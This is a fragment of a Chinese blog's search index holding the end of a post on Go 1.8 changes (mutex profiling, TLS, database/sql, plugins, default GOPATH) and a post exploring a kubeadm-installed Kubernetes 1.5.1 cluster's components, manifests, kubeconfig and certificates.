/Users/tony/pprof/pprof.mutexprofile.localhost:8888.contentions.delay.003.pb.gz Entering interactive mode (type \u0026quot;help\u0026quot; for commands) (pprof) list Total: 12.98s ROUTINE ======================== main.main.func1 in /Users/tony/Test/GoToolsProjects/src/github.com/bigwhite/experiments/go18-examples/stdlib/mutexprofile/mutexprofile.go 0 12.98s (flat, cum) 100% of Total . . 17: mu.Lock() . . 18: defer mu.Unlock() . . 19: items[i] = struct{}{} . . 20: }(i) . . 21: } . 12.98s 22: . . 23: http.ListenAndServe(\u0026quot;:8888\u0026quot;, nil) . . 24:} ROUTINE ======================== runtime.goexit in /Users/tony/.bin/go18rc2/src/runtime/asm_amd64.s 0 12.98s (flat, cum) 100% of Total . . 2192: RET . . 2193: . . 2194:// The top-most function running on a goroutine . . 2195:// returns to goexit+PCQuantum. . . 2196:TEXT runtime·goexit(SB),NOSPLIT,$0-0 . 12.98s 2197: BYTE $0x90 // NOP . . 2198: CALL runtime·goexit1(SB) // does not return . . 2199: // traceback from goexit1 must hit code range of goexit . . 2200: BYTE $0x90 // NOP . . 2201: . . 2202:TEXT runtime·prefetcht0(SB),NOSPLIT,$0-8 ROUTINE ======================== sync.(*Mutex).Unlock in /Users/tony/.bin/go18rc2/src/sync/mutex.go 12.98s 12.98s (flat, cum) 100% of Total . . 121: return . . 122: } . . 123: // Grab the right to wake someone. . . 124: new = (old - 1\u0026lt;\u0026lt;mutexWaiterShift) | mutexWoken . . 125: if atomic.CompareAndSwapInt32(\u0026amp;m.state, old, new) { 12.98s 12.98s 126: runtime_Semrelease(\u0026amp;m.sema) . . 127: return . . 128: } . . 129: old = m.state . . 130: } . . 131:} (pprof) top10 1.29s of 1.29s total ( 100%) flat flat% sum% cum cum% 1.29s 100% 100% 1.29s 100% sync.(*Mutex).Unlock 0 0% 100% 1.29s 100% main.main.func1 0 0% 100% 1.29s 100% runtime.goexit go pprof的另外一个用法就是在go test时，mutexprofile同样支持这一点：\ngo test -mutexprofile=mutex.out go tool pprof \u0026lt;test.binary\u0026gt; mutex.out 5、其他重要改动 Go 1.8标准库还有两个值得注意的改动，一个是：crypto/tls，另一个是database/sql。\n在HTTPS逐渐成为主流的今天，各个编程语言对HTTPS连接的底层加密协议- TLS协议支持的成熟度日益被人们所关注。Go 1.8给广大Gophers们带来了一个更为成熟、性能更好、更为安全的TLS实现，同时也增加了对一些TLS领域最新协议规范的支持。无论你是实现TLS Server端，还是Client端，都将从中获益。\nGo 1.8在crypto/tls中提供了基于ChaCha20-Poly1305的cipher suite，其中ChaCha20是一种stream cipher算法；而Poly1305则是一种code authenticator算法。它们共同组成一个TLS suite。使用这个suite，将使得你的web service或站点具有更好的mobile浏览性能，这是因为传统的AES算法实现在没有硬件支持的情况下cost更多。因此，如果你在使用tls时没有指定cipher suite，那么Go 1.8会根据硬件支持情况（是否有AES的硬件支持），来决定是使用ChaCha20还是AES算法。除此之外，crypto/tls还实现了更为安全和高效的X25519密钥交换算法等。\nGo 1.4以来，database/sql包的变化很小，但对于该包的feature需求却在与日俱增。终于在Go 1.8这个dev cycle中，govendor的作者Daniel Theophanes在Brad Fitzpatrick的“指导”下，开始对database/sql进行“大规模”的改善。在Go 1.8中，借助于context.Context的帮助，database/sql增加了Cancelable Queries、SQL Database Type、Multiple Result Sets、Database ping、Named Parameters和Transaction Isolation等新Features。在GopherAcademy的Advent 2016系列文章中，我们可以看到Daniel Theophanes亲手撰写的文章，文章针对Go 1.8 database/sql包新增的features作了详细解释。\n三、Go工具链（Go Toolchain） 在目前市面上的主流编程语言中，如果说Go的工具链在成熟度和完善度方面排第二，那没有语言敢称自己是第一吧^_^。Go 1.8在Go Toolchain上继续做着持续地改进，下面我们来逐一看看。\n1、Plugins Go在1.8版本中提供了对Plugin的初步支持，并且这种支持仅限于Linux。plugin这个术语在不同语言、不同情景上下文中有着不同的含义，那么什么是Go Plugin呢？\nGo Plugin为Go程序提供了一种在运行时加载代码、执行代码以改变运行行为的能力，它实质上由两个部分组成：\ngo build -buildmode=plugin xx.go 构建xx.so plugin文件 利用plugin包在运行时动态加载xx.so并执行xx.so中的代码 C程序员看到这里肯定会有似曾相识的赶脚，因为这和传统的动态共享库在概念上十分类似：\ngo build -buildmode=plugin xx.go 类似于 gcc -o xx.so -shared xx.c go plugin包 类似于 linux上的dlopen/dlsym或windows上的LoadLibrary 我们来看一个例子！我们先来建立一个名为foo.so的go plugin：\n//go18-examples/gotoolchain/plugins/foo.go package main import \u0026quot;fmt\u0026quot; var V int var v int func init() { V = 17 v = 23 fmt.Println(\u0026quot;init function in plugin foo\u0026quot;) } func Foo(in string) string { return \u0026quot;Hello, \u0026quot; + in } func foo(in string) string { return \u0026quot;hello, \u0026quot; + in } 通过go build命令将foo.go编译为foo.so：\n# go build -buildmode=plugin foo.go # ldd foo.so linux-vdso.so.1 =\u0026gt; (0x00007ffe47f67000) libpthread.so.0 =\u0026gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f9d06f4b000) libc.so.6 =\u0026gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9d06b82000) /lib64/ld-linux-x86-64.so.2 (0x000055c69cfcf000) # nm foo.so|grep Foo 0000000000150010 t local.plugin/unnamed-69e21ef38d16a3fee5eb7b9e515c27a389067879.Foo 0000000000150010 T plugin/unnamed-69e21ef38d16a3fee5eb7b9e515c27a389067879.Foo 000000000036a0dc D type..namedata.Foo. 我们看到go plugin的.so文件就是一个标准的Linux动态共享库文件，我们可以通过nm命令查看.so中定义的各种符号。接下来，我们来load这个.so，并查找并调用相应符号：\n//go18-examples/gotoolchain/plugins/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;plugin\u0026quot; \u0026quot;time\u0026quot; ) func init() { fmt.Println(\u0026quot;init in main program\u0026quot;) } func loadPlugin(i int) { fmt.Println(\u0026quot;load plugin #\u0026quot;, i) var err error fmt.Println(\u0026quot;before opening the foo.so\u0026quot;) p, err := plugin.Open(\u0026quot;foo.so\u0026quot;) if err != nil { fmt.Println(\u0026quot;plugin Open error:\u0026quot;, err) return } fmt.Println(\u0026quot;after opening the foo.so\u0026quot;) f, err := p.Lookup(\u0026quot;Foo\u0026quot;) if err != nil { fmt.Println(\u0026quot;plugin Lookup symbol Foo error:\u0026quot;, err) } else { fmt.Println(f.(func(string) string)(\u0026quot;gophers\u0026quot;)) } f, err = p.Lookup(\u0026quot;foo\u0026quot;) if err != nil { fmt.Println(\u0026quot;plugin Lookup symbol foo error:\u0026quot;, err) } else { fmt.Println(f.(func(string) string)(\u0026quot;gophers\u0026quot;)) } v, err := p.Lookup(\u0026quot;V\u0026quot;) if err != nil { fmt.Println(\u0026quot;plugin Lookup symbol V error:\u0026quot;, err) } else { fmt.Println(*v.(*int)) } v, err = p.Lookup(\u0026quot;v\u0026quot;) if err != nil { fmt.Println(\u0026quot;plugin Lookup symbol v error:\u0026quot;, err) } else { fmt.Println(*v.(*int)) } fmt.Println(\u0026quot;load plugin #\u0026quot;, i, \u0026quot;done\u0026quot;) } func main() { var counter int = 1 for { loadPlugin(counter) counter++ time.Sleep(time.Second * 30) } } 执行这个程序：\n# go run main.go init in main program load plugin # 1 before opening the foo.so init function in plugin foo after opening the foo.so Hello, gophers plugin Lookup symbol foo error: plugin: symbol foo not found in plugin plugin/unnamed-69e21ef38d16a3fee5eb7b9e515c27a389067879 17 plugin Lookup symbol v error: plugin: symbol v not found in plugin plugin/unnamed-69e21ef38d16a3fee5eb7b9e515c27a389067879 load plugin # 1 done load plugin # 2 before opening the foo.so after opening the foo.so Hello, gophers plugin Lookup symbol foo error: plugin: symbol foo not found in plugin plugin/unnamed-69e21ef38d16a3fee5eb7b9e515c27a389067879 17 plugin Lookup symbol v error: plugin: symbol v not found in plugin plugin/unnamed-69e21ef38d16a3fee5eb7b9e515c27a389067879 load plugin # 2 done ... ... 我们来分析一下这个执行结果！\na) foo.go中的代码也包含在main package下，但只是当foo.so被第一次加载时，foo.go中的init函数才会被执行；\nb) foo.go中的exported function和variable才能被Lookup到，如Foo、V；查找unexported的变量和函数符号将得到error信息，如：“symbol foo not found in plugin”；\nc) Lookup返回的是plugin.Symbol类型的值，plugin.Symbol是一个指向plugin中变量或函数的指针；\nd) foo.go中的init在后续重复加载中并不会被执行。\n注意：plugin.Lookup是goroutine-safe的。\n在golang-dev group上，有人曾问过：buildmode=c-shared和buildmode=plugin有何差别？Go team member给出的答案如下：\nThe difference is mainly on the program that loads the shared library. For c-shared, we can't assume anything about the host, so the c-shared dynamic library must be self-contained, but for plugin, we know the host program will be a Go program built with the same runtime version, so the toolchain can omit at least the runtime package from the dynamic library, and possibly more if it's certain that some packages are linked into the host program. (This optimization hasn't be implemented yet, but we need the distinction to enable this kind of optimization in the future.) 2、默认的GOPATH Go team在Go 1.8以及后续版本会更加注重”Go语言的亲民性”，即进一步降低Go的入门使用门槛，让大家更加Happy的使用Go。对于一个Go初学者来说，一上来就进行GOPATH的设置很可能让其感到有些迷惑，甚至有挫折感，就像建立Java开发环境需要设置JAVA_HOME和CLASSPATH一样。Gophers们期望能做到Go的安装即可用。因此Go 1.8就在这方面做出了改进：支持默认的GOPATH。\n在Linux/Mac系下，默认的GOPATH为$HOME/go，在Windows下，GOPATH默认路径为：%USERPROFILE%/go。你可以通过下面命令查看到这一结果：\n$ go env GOARCH=\u0026quot;amd64\u0026quot; GOBIN=\u0026quot;/home/tonybai/.bin/go18rc3/bin\u0026quot; GOEXE=\u0026quot;\u0026quot; GOHOSTARCH=\u0026quot;amd64\u0026quot; GOHOSTOS=\u0026quot;linux\u0026quot; GOOS=\u0026quot;linux\u0026quot; GOPATH=\u0026quot;/home/tonybai/go\u0026quot; GORACE=\u0026quot;\u0026quot; GOROOT=\u0026quot;/home/tonybai/.bin/go18rc3\u0026quot; GOTOOLDIR=\u0026quot;/home/tonybai/.bin/go18rc3/pkg/tool/linux_amd64\u0026quot; GCCGO=\u0026quot;gccgo\u0026quot; CC=\u0026quot;gcc\u0026quot; GOGCCFLAGS=\u0026quot;-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build313929093=/tmp/go-build -gno-record-gcc-switches\u0026quot; CXX=\u0026quot;g++\u0026quot; CGO_ENABLED=\u0026quot;1\u0026quot; PKG_CONFIG=\u0026quot;pkg-config\u0026quot; CGO_CFLAGS=\u0026quot;-g -O2\u0026quot; CGO_CPPFLAGS=\u0026quot;\u0026quot; CGO_CXXFLAGS=\u0026quot;-g -O2\u0026quot; CGO_FFLAGS=\u0026quot;-g -O2\u0026quot; CGO_LDFLAGS=\u0026quot;-g -O2\u0026quot; BTW，在Linux/Mac下，默认的GOROOT为/usr/local/go，如果你的Go环境没有安装到这个路径下，在没有设置$GOROOT环境变量的情况下，当你执行go subcommand相关命令时，你会看到如下错误：\n$go env go: cannot find GOROOT directory: /usr/local/go 3、其他变化 Go 1.8删除了Go 1.7中增加的用于关闭ssa新后端的”-ssa=0” compiler flag，并且将ssa backend扩展到所有architecture中，对ssa后端也进一步做了优化。与此同时，为了将来进一步的性能优化打基础，Go 1.8还引入了一个新编译器前端，当然这对于普通Gopher的Go使用并没有什么影响。\nGo 1.8还新增go bug子命令，该命令会自动使用默认浏览器打开new issue页面，并将采集到的issue提交者的系统信息填入issue模板，以帮助gopher提交符合要求的go issue，下面是go bug打开的issue page的图示：\n四、性能变化（Performance Improvement） 无论是Gotoolchain、还是runtime（包括GC）的性能，一直都是Go team重点关注的领域。本次Go 1.8依旧给广大Gophers们带来了性能提升方面的惊喜。\n首先，Go SSA后端扩展到所有architecture和新编译器前端的引入，将会给除X86-64之外架构上运行的Go代码带来约20-30%的运行性能提升。对于x86-64，虽然Go 1.7就已经开启了SSA，但Go 1.8对SSA做了进一步优化，x86-64上的Go代码依旧可能会得到10%以内的性能提升。\n其次，Go 1.8持续对Go compiler和linker做性能优化，和1.7相比，平均编译链接的性能提升幅度在15%左右。虽然依旧没有达到Go 1.4的性能水准。不过，优化依旧在持续进行中，目标的达成是可期的。\n再次，GC在低延迟方面的优化给了我们最大的惊喜。在Go 1.8中，由于消除了GC的“stop-the-world stack re-scanning”，使得GC STW(stop-the-world)的时间通常低于100微秒，甚至经常低于10微秒。当然这或多或少是以牺牲“吞吐”作为代价的。因此在Go 1.9中，GC的改进将持续进行，会在吞吐和低延迟上做一个很好的平衡。\n最后，defer的性能消耗在Go 1.8中下降了一半，与此下降幅度相同的还有通过cgo在go中调用C代码的性能消耗。\n五、小结兼参考资料 Go 1.8的变化不仅仅是以上这些，更多变化以及详细的描述请参考下面参考资料中的“Go 1.8 Release Notes”：\nGo 1.8 Go 1.8 Release Notes Go 1.8 Release Notes(before release) Announcing Support for HTTP/2 Server Push What’s coming in Go 1.8 以上demo中的代码在这里可以找到。\n","permalink":"https://tonybai.com/2017/02/03/some-changes-in-go-1-8/","summary":"\u003cp\u003e在已经过去的\u003ca href=\"http://tonybai.com/2017/01/03/2016-summary/\"\u003e2016年\u003c/a\u003e，\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGo语言\u003c/a\u003e继在2009年之后再次成为编程语言界的明星- 问鼎\u003ca href=\"http://www.tiobe.com/tiobe-index/\"\u003eTIOBE\u003c/a\u003e 2016年度语言。这与Go team、Go community和全世界的Gophers的努力是分不开的。按计划在这个2月份，Go team将正式发布Go 1.8版本(截至目前，Go的最新版本是\u003ca href=\"https://github.com/golang/go/releases/tag/go1.8rc3\"\u003eGo 1.8rc3\u003c/a\u003e)。在这里我们一起来看一下在Go 1.8版本中都有哪些值得Gopher们关注的变化。\u003c/p\u003e","title":"Go 1.8中值得关注的几个变化"},{"content":"当前手上有两个Kubernetes cluster，一个是采用kube-up.sh安装的k8s 1.3.7版本，另外一个则是采用kubeadm安装的k8s 1.5.1版本。由于1.3.7版本安装在前，并且目前它也是承载了我们PaaS平台的环境，因此对于这个版本的Kubernetes安装环境、配置操作、日志查看、集群操作等相对较为熟悉。而Kubeadm安装的1.5.1版本K8s集群在组件部署、配置、日志等诸多方面与1.3.7版本有了较大差异。刚上手的时候，你会发现你原来所熟知的1.3.7的东西都不在原先的位置上了。估计很多和我一样，采用kubeadm将集群升级到1.5.1版本的朋友们都会遇到这类问题，于是这里打算对Kubeadm方式安装的Kubernetes集群进行一些小小的探索，把一些变动较大的点列出来，供大家参考。\n一、环境 这里使用的依然是文章《使用Kubeadm安装Kubernetes》中安装完毕的Kubernetes 1.5.1集群环境，底层是阿里云ECS，操作系统是Ubuntu 16.04.1。网络用的是weave network。\n试验集群只有两个Node：一个master node和一个minion node。但Master node由于被taint了，因此它与minion node一样参与集群调度和承担负载。\n二、核心组件的Pod化 Kubeadm安装的k8s集群与kube-up.sh安装集群相比，最大的不同应该算是kubernetes核心组件的Pod化，即：kube-apiserver、kube-controller-manager、kube-scheduler、kube-proxy、kube-discovery以及etcd等核心组件都运行在集群中的Pod里的，这颇有些CoreOS的风格。只有一个组件是例外的，那就是负责在node上与本地容器引擎交互的Kubelet。\nK8s的核心组件Pod均放在kube-system namespace中，通过kubectl(on master node)可以查看到：\n# kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE etcd-iz25beglnhtz 1/1 Running 2 26d kube-apiserver-iz25beglnhtz 1/1 Running 3 26d kube-controller-manager-iz25beglnhtz 1/1 Running 2 26d kube-scheduler-iz25beglnhtz 1/1 Running 4 26d ... ... 另外细心的朋友可能会发现，这些核心组建的Pod名字均以所在Node的主机名为结尾，比如：kube-apiserver-iz25beglnhtz中的”iz25beglnhtz”就是其所在Node的主机名。\n不过，即便这些核心组件是一个容器的形式运行在集群中，组件所使用网络依然是所在Node的主机网络，而不是Pod Network：\n# docker ps|grep apiserver 98ea64bbf6c8 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 \u0026quot;kube-apiserver --ins\u0026quot; 10 days ago Up 10 days k8s_kube-apiserver.6c2e367b_kube-apiserver-iz25beglnhtz_kube-system_033de1afc0844729cff5e100eb700a81_557d1fb2 4f87d22b8334 gcr.io/google_containers/pause-amd64:3.0 \u0026quot;/pause\u0026quot; 10 days ago Up 10 days k8s_POD.d8dbe16c_kube-apiserver-iz25beglnhtz_kube-system_033de1afc0844729cff5e100eb700a81_5931e490 # docker inspect 98ea64bbf6c8 ... ... \u0026quot;HostConfig\u0026quot;: { \u0026quot;NetworkMode\u0026quot;: \u0026quot;container:4f87d22b833425082be55851d72268023d41b50649e46c738430d9dfd3abea11\u0026quot;, } ... ... # docker inspect 4f87d22b833425082be55851d72268023d41b50649e46c738430d9dfd3abea11 ... ... \u0026quot;HostConfig\u0026quot;: { \u0026quot;NetworkMode\u0026quot;: \u0026quot;host\u0026quot;, } ... ... 从上面docker inspect的输出可以看出kube-apiserver pod里面的pause容器采用的网络模式是host网络，而以pause容器网络为基础的kube-apiserver 容器显然就继承了这一network namespace。因此从外面看，访问Kube-apiserver这样的组件和以前没什么两样：在Master node上可以通过localhost:8080访问；在Node外，可以通过master_node_ip:6443端口访问。\n三、核心组件启动配置调整 在kube-apiserver等核心组件还是以本地程序运行在物理机上的时代，修改kube-apiserver的启动参数，比如修改一下–service-node-port-range的范围、添加一个–basic-auth-file等，我们都可以通过直接修改/etc/default/kube-apiserver(以Ubuntu 14.04为例)文件的内容并重启kube-apiserver service(service restart kube-apiserver)的方式实现。其他核心组件：诸如：kube-controller-manager、kube-proxy和kube-scheduler均是如此。\n但在kubeadm时代，这些配置文件不再存在，取而代之的是和用户Pod描述文件类似的manifest文件(都放置在/etc/kubernetes/manifests下面)：\n/etc/kubernetes/manifests# ls etcd.json kube-apiserver.json kube-controller-manager.json kube-scheduler.json 我们以为kube-apiserver增加一个启动参数：”–service-node-port-range=80-32767″ 为例：\n打开并编辑/etc/kubernetes/manifests/kube-apiserver.json，在“command字段对应的值中添加”–service-node-port-range=80-32767″：\n\u0026quot;containers\u0026quot;: [ { \u0026quot;name\u0026quot;: \u0026quot;kube-apiserver\u0026quot;, \u0026quot;image\u0026quot;: \u0026quot;gcr.io/google_containers/kube-apiserver-amd64:v1.5.1\u0026quot;, \u0026quot;command\u0026quot;: [ \u0026quot;kube-apiserver\u0026quot;, \u0026quot;--insecure-bind-address=127.0.0.1\u0026quot;, \u0026quot;--admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,ResourceQuota\u0026quot;, \u0026quot;--service-cluster-ip-range=10.96.0.0/12\u0026quot;, \u0026quot;--service-account-key-file=/etc/kubernetes/pki/apiserver-key.pem\u0026quot;, \u0026quot;--client-ca-file=/etc/kubernetes/pki/ca.pem\u0026quot;, \u0026quot;--tls-cert-file=/etc/kubernetes/pki/apiserver.pem\u0026quot;, \u0026quot;--tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem\u0026quot;, \u0026quot;--token-auth-file=/etc/kubernetes/pki/tokens.csv\u0026quot;, \u0026quot;--secure-port=6443\u0026quot;, \u0026quot;--allow-privileged\u0026quot;, \u0026quot;--advertise-address=10.47.217.91\u0026quot;, \u0026quot;--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname\u0026quot;, \u0026quot;--anonymous-auth=false\u0026quot;, \u0026quot;--etcd-servers=http://127.0.0.1:2379\u0026quot;, \u0026quot;--service-node-port-range=80-32767\u0026quot; ], 注意：不要忘记在–etcd-servers这一行后面添加一个逗号，否则kube-apiserver会退出。\n修改后，你会发现kube-apiserver会被自动重启。这是kubelet的功劳。kubelet在启动时监听/etc/kubernetes/manifests目录下的文件变化并做适当处理：\n# ps -ef|grep kubelet root 1633 1 5 2016 ? 1-09:24:47 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local kubelet自身是一个systemd的service，它的启动配置可以通过下面文件修改：\n# cat /etc/systemd/system/kubelet.service.d/10-kubeadm.conf [Service] Environment=\u0026quot;KUBELET_KUBECONFIG_ARGS=--kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true\u0026quot; Environment=\u0026quot;KUBELET_SYSTEM_PODS_ARGS=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\u0026quot; Environment=\u0026quot;KUBELET_NETWORK_ARGS=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\u0026quot; Environment=\u0026quot;KUBELET_DNS_ARGS=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\u0026quot; ExecStart= ExecStart=/usr/bin/kubelet $KUBELET_KUBECONFIG_ARGS $KUBELET_SYSTEM_PODS_ARGS $KUBELET_NETWORK_ARGS $KUBELET_DNS_ARGS $KUBELET_EXTRA_ARGS 四、kubectl的配置 kube-up.sh安装的k8s集群会在每个Node上的~/.kube/下创建config文件，用于kubectl访问apiserver和操作集群使用。但在kubeadm模式下，~/.kube/下面的内容变成了：\n~/.kube# ls cache/ schema/ 于是有了问题1：config哪里去了？\n之所以在master node上我们的kubectl依旧可以工作，那是因为默认kubectl会访问localhost:8080来与kube-apiserver交互。如果kube-apiserver没有关闭–insecure-port，那么kubectl便可以正常与kube-apiserver交互，因为–insecure-port是没有任何校验机制的。\n于是又了问题2：如果是其他node上的kubectl与kube-apiserver通信或者master node上的kubectl通过secure port与kube-apiserver通信，应该如何配置？\n接下来，我们一并来回答上面两个问题。kubeadm在创建集群时，在master node的/etc/kubernetes下面创建了两个文件：\n/etc/kubernetes# ls -l total 32 -rw------- 1 root root 9188 Dec 28 17:32 admin.conf -rw------- 1 root root 9188 Dec 28 17:32 kubelet.conf ... ... 这两个文件的内容是完全一样的，仅从文件名可以看出是谁在使用。比如kubelet.conf这个文件，我们就在kubelet程序的启动参数中看到过：–kubeconfig=/etc/kubernetes/kubelet.conf\n# ps -ef|grep kubelet root 1633 1 5 2016 ? 1-09:26:41 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local 打开这个文件，你会发现这就是一个kubeconfig文件，文件内容较长，我们通过kubectl config view来查看一下这个文件的结构：\n# kubectl --kubeconfig /etc/kubernetes/kubelet.conf config view apiVersion: v1 clusters: - cluster: certificate-authority-data: REDACTED server: https://{master node local ip}:6443 name: kubernetes contexts: - context: cluster: kubernetes user: admin name: admin@kubernetes - context: cluster: kubernetes user: kubelet name: kubelet@kubernetes current-context: admin@kubernetes kind: Config preferences: {} users: - name: admin user: client-certificate-data: REDACTED client-key-data: REDACTED - name: kubelet user: client-certificate-data: REDACTED client-key-data: REDACTED 这和我们在《Kubernetes集群Dashboard插件安装》一文中介绍的kubeconfig文件内容并不二致。不同之处就是“REDACTED”这个字样的值，我们对应到kubelet.conf中，发现每个REDACTED字样对应的都是一段数据，这段数据是由对应的数字证书内容或密钥内容转换(base64)而来的，在访问apiserver时会用到。\n我们在minion node上测试一下：\nminion node： # kubectl get pods The connection to the server localhost:8080 was refused - did you specify the right host or port? # kubectl --kubeconfig /etc/kubernetes/kubelet.conf get pods NAME READY STATUS RESTARTS AGE my-nginx-1948696469-359d6 1/1 Running 2 26d my-nginx-1948696469-3g0n7 1/1 Running 3 26d my-nginx-1948696469-xkzsh 1/1 Running 2 26d my-ubuntu-2560993602-5q7q5 1/1 Running 2 26d my-ubuntu-2560993602-lrrh0 1/1 Running 2 26d kubeadm创建k8s集群时，会在master node上创建一些用于组件间访问的证书、密钥和token文件，上面的kubeconfig中的“REDACTED”所代表的内容就是从这些文件转化而来的：\n/etc/kubernetes/pki# ls apiserver-key.pem apiserver.pem apiserver-pub.pem ca-key.pem ca.pem ca-pub.pem sa-key.pem sa-pub.pem tokens.csv apiserver-key.pem：kube-apiserver的私钥文件 apiserver.pem：kube-apiserver的公钥证书 apiserver-pub.pem kube-apiserver的公钥文件 ca-key.pem：CA的私钥文件 ca.pem：CA的公钥证书 ca-pub.pem ：CA的公钥文件 sa-key.pem ：serviceaccount私钥文件 sa-pub.pem ：serviceaccount的公钥文件 tokens.csv：kube-apiserver用于校验的token文件 在k8s各核心组件的启动参数中会看到上面文件的身影，比如：\nkube-apiserver --insecure-bind-address=127.0.0.1 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,ResourceQuota --service-cluster-ip-range=10.96.0.0/12 --service-account-key-file=/etc/kubernetes/pki/apiserver-key.pem --client-ca-file=/etc/kubernetes/pki/ca.pem --tls-cert-file=/etc/kubernetes/pki/apiserver.pem --tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --token-auth-file=/etc/kubernetes/pki/tokens.csv --secure-port=6443 --allow-privileged --advertise-address={master node local ip} --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --anonymous-auth=false --etcd-servers=http://127.0.0.1:2379 --service-node-port-range=80-32767 我们还可以在minion node上通过curl还手工测试一下通过安全通道访问master node上的kube-apiserver。在《Kubernetes集群的安全配置》一文中，我们提到过k8s的authentication（包括：客户端证书认证、basic auth、static token等）只要通过其中一个即可。当前kube-apiserver开启了客户端证书认证（–client-ca-file）和static token验证(–token-auth-file)，我们只要通过其中一个，就可以通过authentication，于是我们使用static token方式。static token file的内容格式：\ntoken,user,uid,\u0026quot;group1,group2,group3\u0026quot; 对应到master node上的tokens.csv\n# cat /etc/kubernetes/pki/tokens.csv {token},{user},812ffe41-cce0-11e6-9bd3-00163e1001d7,system:kubelet-bootstrap 我们用这个token通过curl与apiserver交互：\n# curl --cacert /etc/kubernetes/pki/ca.pem -H \u0026quot;Authorization: Bearer {token}\u0026quot; https://{master node local ip}:6443 { \u0026quot;paths\u0026quot;: [ \u0026quot;/api\u0026quot;, \u0026quot;/api/v1\u0026quot;, \u0026quot;/apis\u0026quot;, \u0026quot;/apis/apps\u0026quot;, \u0026quot;/apis/apps/v1beta1\u0026quot;, \u0026quot;/apis/authentication.k8s.io\u0026quot;, \u0026quot;/apis/authentication.k8s.io/v1beta1\u0026quot;, \u0026quot;/apis/authorization.k8s.io\u0026quot;, \u0026quot;/apis/authorization.k8s.io/v1beta1\u0026quot;, \u0026quot;/apis/autoscaling\u0026quot;, \u0026quot;/apis/autoscaling/v1\u0026quot;, \u0026quot;/apis/batch\u0026quot;, \u0026quot;/apis/batch/v1\u0026quot;, \u0026quot;/apis/batch/v2alpha1\u0026quot;, \u0026quot;/apis/certificates.k8s.io\u0026quot;, \u0026quot;/apis/certificates.k8s.io/v1alpha1\u0026quot;, \u0026quot;/apis/extensions\u0026quot;, \u0026quot;/apis/extensions/v1beta1\u0026quot;, \u0026quot;/apis/policy\u0026quot;, \u0026quot;/apis/policy/v1beta1\u0026quot;, \u0026quot;/apis/rbac.authorization.k8s.io\u0026quot;, \u0026quot;/apis/rbac.authorization.k8s.io/v1alpha1\u0026quot;, \u0026quot;/apis/storage.k8s.io\u0026quot;, \u0026quot;/apis/storage.k8s.io/v1beta1\u0026quot;, \u0026quot;/healthz\u0026quot;, \u0026quot;/healthz/poststarthook/bootstrap-controller\u0026quot;, \u0026quot;/healthz/poststarthook/extensions/third-party-resources\u0026quot;, \u0026quot;/healthz/poststarthook/rbac/bootstrap-roles\u0026quot;, \u0026quot;/logs\u0026quot;, \u0026quot;/metrics\u0026quot;, \u0026quot;/swaggerapi/\u0026quot;, \u0026quot;/ui/\u0026quot;, \u0026quot;/version\u0026quot; ] } 交互成功！\n","permalink":"https://tonybai.com/2017/01/24/explore-kubernetes-cluster-installed-by-kubeadm/","summary":"\u003cp\u003e当前手上有两个\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e cluster，一个是\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003e采用kube-up.sh安装的k8s 1.3.7版本\u003c/a\u003e，另外一个则是\u003ca href=\"http://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003e采用kubeadm安装的k8s 1.5.1版本\u003c/a\u003e。由于1.3.7版本安装在前，并且目前它也是承载了我们\u003ca href=\"http://tonybai.com/2017/01/03/2016-summary/\"\u003ePaaS平台\u003c/a\u003e的环境，因此对于这个版本的Kubernetes安装环境、配置操作、日志查看、集群操作等相对较为熟悉。而Kubeadm安装的1.5.1版本K8s集群在组件部署、配置、日志等诸多方面与1.3.7版本有了较大差异。刚上手的时候，你会发现你原来所熟知的1.3.7的东西都不在原先的位置上了。估计很多和我一样，采用\u003ca href=\"https://github.com/kubernetes/kubeadm\"\u003ekubeadm\u003c/a\u003e将集群升级到1.5.1版本的朋友们都会遇到这类问题，于是这里打算对\u003ca href=\"https://kubernetes.io/docs/getting-started-guides/kubeadm/\"\u003eKubeadm方式\u003c/a\u003e安装的Kubernetes集群进行一些小小的探索，把一些变动较大的点列出来，供大家参考。\u003c/p\u003e\n\u003ch3 id=\"一环境\"\u003e一、环境\u003c/h3\u003e\n\u003cp\u003e这里使用的依然是文章《\u003ca href=\"http://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003e使用Kubeadm安装Kubernetes\u003c/a\u003e》中安装完毕的Kubernetes 1.5.1集群环境，底层是阿里云ECS，操作系统是\u003ca href=\"http://tonybai.com/tag/ubuntu\"\u003eUbuntu\u003c/a\u003e 16.04.1。网络用的是\u003ca href=\"https://www.weave.works/\"\u003eweave 